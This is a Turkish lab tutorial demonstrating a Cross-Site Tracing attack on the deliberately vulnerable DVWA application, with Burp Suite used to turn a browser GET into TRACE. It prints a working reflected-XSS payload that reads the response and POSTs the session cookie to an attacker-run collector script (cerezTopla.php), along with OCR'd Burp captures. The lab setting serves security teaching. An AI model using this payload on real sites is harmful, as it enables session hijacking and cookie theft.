Http Trace Methodunun Açık Bırakılması - EK

Uygulama 4

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

DVWA - Ubuntu 18.04 LTS	// Zafiyetli DVWA Web Uygulaması
Firefox (Son Sürüm) - Ubuntu 18.04 LTS	// Son Kullanıcı Web Tarayıcısı
/var/www/Cross-Site-Tracing-Uygulamasi/	// Saldırganın Web Sunucusu

Bu uygulamada XmlHttpRequest ile TRACE talebi yapma kısıtı olan modern web tarayıcılarda XST saldırısı demosu nasıl uygulanır gösterilecektir. Bu demoda genel işleyiş kabaca şu şekildedir:

- XST açıklıklı (bu senaryoda Reflected XSS açıklıklı) bir web sayfasına gidilir. XST payload'u girilir. Fakat XST payload'undaki TRACE talebi ifadesi TRACE olmayacaktır. Çünkü modern tarayıcılar TRACE ile XmlHttpRequest yapılmasını önlüyorlar. Bu nedenle payload'da TRACE yerine GET kullanılır.

- İstek gönderildiğinde yanıt gelir ve ilk XmlHttpRequest'i GET talepli ve ikinci XmlHttpRequest'i POST talepli payload olduğu gibi geri yansır. Web tarayıcıda GET xmlhttprequest javascript talebi render'landığında bir GET talebi gönderilir. GET talebi burp ile aradayken düzenlenir ve GET ifadesi elle TRACE yapılır. Böylece web tarayıcının istemci taraflı TRACE kısıtı atlatılmış olur. Yani web tarayıcıdan TRACE talebi yapamıyoruz, fakat arada paketi düzenleyip TRACE yaparak saldırıyı simule edebiliriz. Daha sonra payload'daki ikinci XmlHttpRequest olan POST talebi yollanacaktır. Bu talep olduğu gibi forward'lanır.

- Nihayetinde web sayfa tam olarak render'landığında ve XmlHttpRequest istekleri bittiğinde POST talebi ile çerez saldırgan sunucuda log'lanır ve ekrana TRACE popup'ı gelir.

Uygulama şu adımlarla tatbik edilebilir:

- 1. Firefox web tarayıcısında localhost 8080 proxy ayarı yapılır.
- 2. Firefox web tarayıcısında DVWA'nın XST açıklıklı sayfasına gidilir.

http://hasanfsimsek/DVWA-master/vulnerabilities/xss_d/

3. Burpsuite açılır, ve

Proxy->Options->Intercept Server Response

tick yapılır. Ardından

Intercept is On

yapılır.

4. Firefox web tarayıcısında XST açıklıklı girdi noktasına XST payload'u aşağıdaki gibi girilir.

<script>var xmlHttp = new

XMLHttpRequest();xmlHttp.open("**GET**","**http://hasanfsimsek**",false);xmlHttp.send();xmlDoc =xmlHttp.responseText;xmlHttp.open("POST","http://**hasanfsimsek**/Cross-Site-Tracing-Uygulamasi/cerezTopla.php",false);xmlHttp.send(xmlDoc);alert(xmlDoc);</script>

(!) Uyarı: Web tarayıcılarda TRACE ile XmlHttpRequest yasaklı olduğundan GET ile istek yapılır.

5. Burpsuite ekranında gelen xst payload'lu paket Forward'lanır.

Burp Suite Community Edition v2022.9.6 - Temporary Project	- 🛛 😣
Burp Project Intruder Repeater Window Help	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project	options
User options Learn	
Intercept HTTP history WebSockets history Options	
Request to http://hasanfsimsek:80 [127.0.1.1]	
Forward Drop Intercept is on Action Open Browser	P/1 (?)
Pretty 🖉 🔥 Hex 🕞 🗤	= ⊚
1 GET /D /A-master/vulnerabilities/xss_r/?name=	
%3Cscript%3Evar+xmlHttp+%3D+new+XMLHttpRequest%28%29%3BxmlHttp.open%28%22GET%22%2C%22http%3A%2F%2Fhasanfsims	e =
%2F%2F asanfsimsek%2FCross-Site-Tracing-Uygulamasi%2FcerezTopla.php%22%2Cfalse%29%3BxmlHttp.send%28xmlDoc%29	Å Z
3Balert%28xmlDoc%29%3B%3C%2Fscript%3E HTTP/1.1	SPI
2 Host: hasantsimsek 3 Weer Agant: Mozilla/5 0 (X11: Ukuntu: Linux X86 64: rv:100 0) Gerka/20100101 Firefox/100 0	Ö
<pre>4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</pre>	P P
5 Accept-Language: en-US,en;q=0.5	~
6 Accept-Encoding: gzip, deflate	
8 Cookie: security=low; security=low; PHPSESSID=d5bo6pr09ga7cpj8jibvrmpun3	
9 Upgrade-Insecure-Requests: 1	
10	
11	
⑦ ③ ✓ ✓ 0 match 0 match 0 0 match <	es

5. Sayfadaki Reflected XSS zafiyeti dolayısıyla XST payload'u olduğu gibi geri yansır.

Burn Suite Community Edition v2022 9.6 - Temporary Project									
Rum Project Intruder Depenter Window Help									
Burthered Transford Common Device Common Long Strate									
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project o	tions								
User options Learn									
Intercept HTTP history WebSockets history Options									
Response from http://hasanfsimsek:80/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Evar+xmlHttp+%3D+new+XMLHttpRequest%28%29%3	3xm								
Enward Drop Intercent is on Action Open Browser Comment this item									
Pretty Raw Hex Render 🗐 🗤 🗉	6								
81 <input type="submit" value="Submit"/>	_								
82	=								
03	_								
85 <pre>state</pre>	S								
Hello <script></td><td>PE</td></tr><tr><td>var xmlHttp = new XM∟HttpRequest();</td><td>Ö</td></tr><tr><td>xmlHttp.open("GET","http://hasanfsimsek",false);</td><td>0</td></tr><tr><td><pre>xmlHttp.send(),</pre></td><td>7</td></tr><tr><td>xmlDoc=xmlHttp.responseText;</td><td></td></tr><tr><td>xmLHttp.open("POSI","http://hasantsimsek/Cross-Site-Fracing-Uygulamasi/cereziopla.php", fala-li</td><td></td></tr><tr><td>vmllttp send(vmlDoc).</td><td></td></tr><tr><td>alert(xmlDoc):</td><td></td></tr><tr><td></script>									
86	'								
87									
88 <h2></h2>									
More Information									
	_								
	`								

6. Http Response'u bu şekilde Forward'larız ve web tarayıcının render'lamasına bırakırız.

7. Http Response web tarayıcıya geldiğinde yanıt paketi render'lanırken xst payload'u (javascript kodları) çalışır ve payload'daki ilk XmlHttpRequest talebi GET gerçekleşir. Burp ile aradayken bu GET talebini elle TRACE şeklinde düzeltiriz.

Önce:

		_
Burp Suite Community Edition v2022.9.6 - Temporary Project		\otimes
Burp Project Intruder Repeater Window Help		
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender	Project options	s
User options Learn		
Intercept HTTP history WebSockets history Options		
Request to http://hasanfsimsek:80 [127.0.1.1]		
Forward Drop Intercept is on Action Open Browser Comment this item	₩ НТТР/1 (0
Pretty Raw Hex	, = =	ක
1 GET / HTTP/1.1		ŝ
2 nost: hasanfsimsek		=
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0		_
4 Accept: */* 5 Accept: denuege: en.US en.g=0 5		SN
Accept-Encoding: gzis, deflate		PE
7 Connection: close		9
8 Referer:		R
http://hasanfsimsek/DWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Evar+xmlHttp+%3D+new+XMLHtt	pRequest%2	
b%2%35XmUHTLD.open%2%22Ucl%2/2%2/XLTLD%3A%2/%2/HasanTsImsek%2/%2/Talse%2%35XmUHTLD.send%2%2% DwallHtn_nesonsafavf%3RymlHtn_ones%2%2%2%37%1%3%2%2%2%asanfsime&%2%2%2%3%3	BXMLDOC%3	
masi%2FcerezTopla.ph%22%2Cfalse%29%38xmLHttp.send%28xmLDoc%29%38alert%28xmLDoc%29%38%3C%2Fscript%	i3E	
9 Cookie: PHPSESSID=d5bo6pr09ga7cpj8jibvrmpun3		
10		
11		
⑦ ∅ ← → Search	0 matches	

Sonra:

	Burp Suite Community Edition v2022.9.6 - Temporary Project 🔷 🗎 😣											
Bu	rp Project	Intruder	Repeater	Window	Help							
D	ashboard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Logger	Extender	Project opti	ions
U	ser options	Learn										
In	tercept	HTTP hist	ory We	bSockets h	istory Optio	ns						
6	Request t	o http://has	anfsimsek:8	30 [127.0.1	11							
	Forward		Drop	Interce	pt is on	Action	Open Browser	C	omment this	item	W HTTP/1	?
P	retty Ra	aw Hex	¢								🚍 \n ≡	0
1	TRACE / I	-TTP/1.1										
2	Host: has	sanfsims	ek						((100			Ξ
4	Accept:	ητ: Mozi */*	tta/5.0 (XII; Ubu	ntu; Linux x	86_64; rv:10	9.0) Gecko/	20100101 -1	retox/109	.0		=
5	Accept-La	anguage:	en-US,er	n;q=0.5								ls l
6	Accept-E	ncoding:	gzip, de	eflate								Ĕ
7	Connecti	on: clos	e									E E
8	Referer:	acanfeim	cak/DWA.	master/v	ulnerabiliti	es/yes r/?na	me-%3Cecrin	+%3Evar+vm]	H++n+%3D+	now+XMI H++	nBequest%2	R
	8%29%3Bxi	nlHttp.o	pen%28%22	2GET%22%2	C%22http%3A%	2F%2Fhasanfs	imsek%22%20	false%29%3B	xmlHttp.s	end%28%29%	3BxmlDoc%3	
	DxmlHttp.responseText%38xmlHttp.open%28%22POST%22%2C%22http%3A%2P%2Fhasanfsimsel%2FCross-Site-Tracing-Uygula											
	masi%2FcerezTopla.php%22%2Cfalse%29%3BxmlHttp.send%28xmlDoc%29%3Balert%28xmlDoc%29%3B%3C%2Fscript%3E											
9	9 Cook1e: PHPSESSID=d5bo6pr09ga7cp18j1bvrmpun3											
11												
?) 🔅 🧲	→ Sear	ch								0 matches	-

Bu şekilde web tarayıcının TRACE ile istek yapma kısıtını atlatırız. Yani GET talebi TRACE talebi şeklinde düzeltilerek istemcinin TRACE iseği yaptığını simule edebiliriz. TRACE isteği forward'lanır.

8. Ardından XST payload'undaki ikinci XmlHttpRequest talebi olan POST gerçekleşir.



POST talebi gövdesinde TRACE isteğini içerir. Bu POST talebi olduğu gibi forward'lanır.

9. Böylece istek ve yanıtlar tamamlandığından modern web tarayıcıda XST saldırısı gerçekleşir.

📦 🕸 Settings	 ✓ Vulnerability: Reflected C× 	~ •
\leftarrow \rightarrow \times \textcircled{a}	🔘 👌 hasanfsimsek/DVWA-master/vulnerabilities/xss_r/?name= <script>var+xmlHttp+%3D+new+XMLHL 🏠</td><td>⊚ 👱 දු ≡</td></tr><tr><th></th><td>DVWA</td><td></td></tr><tr><th></th><td>Home Vullier ability: Reflected Cross Site Scripting (XSS) Instructions Setup / Reset DB What's your name? niDoc);alert(xmiDoc);</script> Submit Hello	
	Brite Force Command injection CSRF File Inclusion User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Getch/20100101 Firefox/109.0 Getch/20100101 Firefox/109.0 Getch/20100101 Firefox/109.0 Getch/20100101 Firefox/109.0 SQL Injection Soccure CAPTCHA Accept-Language: en-US, en;q=0.5 SQL Injection Connection: close Referer: http://hsafs/imsek/20VWA-master/vulnerabilities/xss_r //mame=%30K Weak Session IDs %268/gR4feeted) %288/g2093BxmlHttp.en@PartX282CCF1%223%2CM22http%33A%2F %288/g2097232%2CCF22http%34SMmlHttp.open %288/g209723%2CF22http%34SMmlHttp.open %288/g2097323%2CF22http%34SMmlDoc%23DxmlDoc%29%3B XSS (Stored) Site-Tracing-Uygulamas%2FcerezTopla.php%22%2CF2%2B %27%25Fsaript%35 Cookie: PHPSESSID= %38/s27 %38/s27 %27%25Fsaript%35 Cookie: PHPSESSID= %38/s27 %38/s27 %38/s27 %27%38AmlHttp.send%38Amlboc%32%26 %38/s27 %27%38AmlHttp.send%38Amlboc%32%26 %38/s27 %38/s27 %38/s27 %38/s27 %38/s27	
	DVWA Security PHP Into About	

/www/Cross-Site-Tracing-Uygulamasi/cerezler.html:



Kaynak:

Firefox Tarayıcıda XST Yaptığına Dair Ekran Altıntısı Paylaşılıyor

ve Payload'daki GET'i Burp'te TRACE şeklinde değiştirin bilgisi veriyor.

https://www.axcelsec.com/2018/05/damn-vulnerable-web-services-walkthrough.html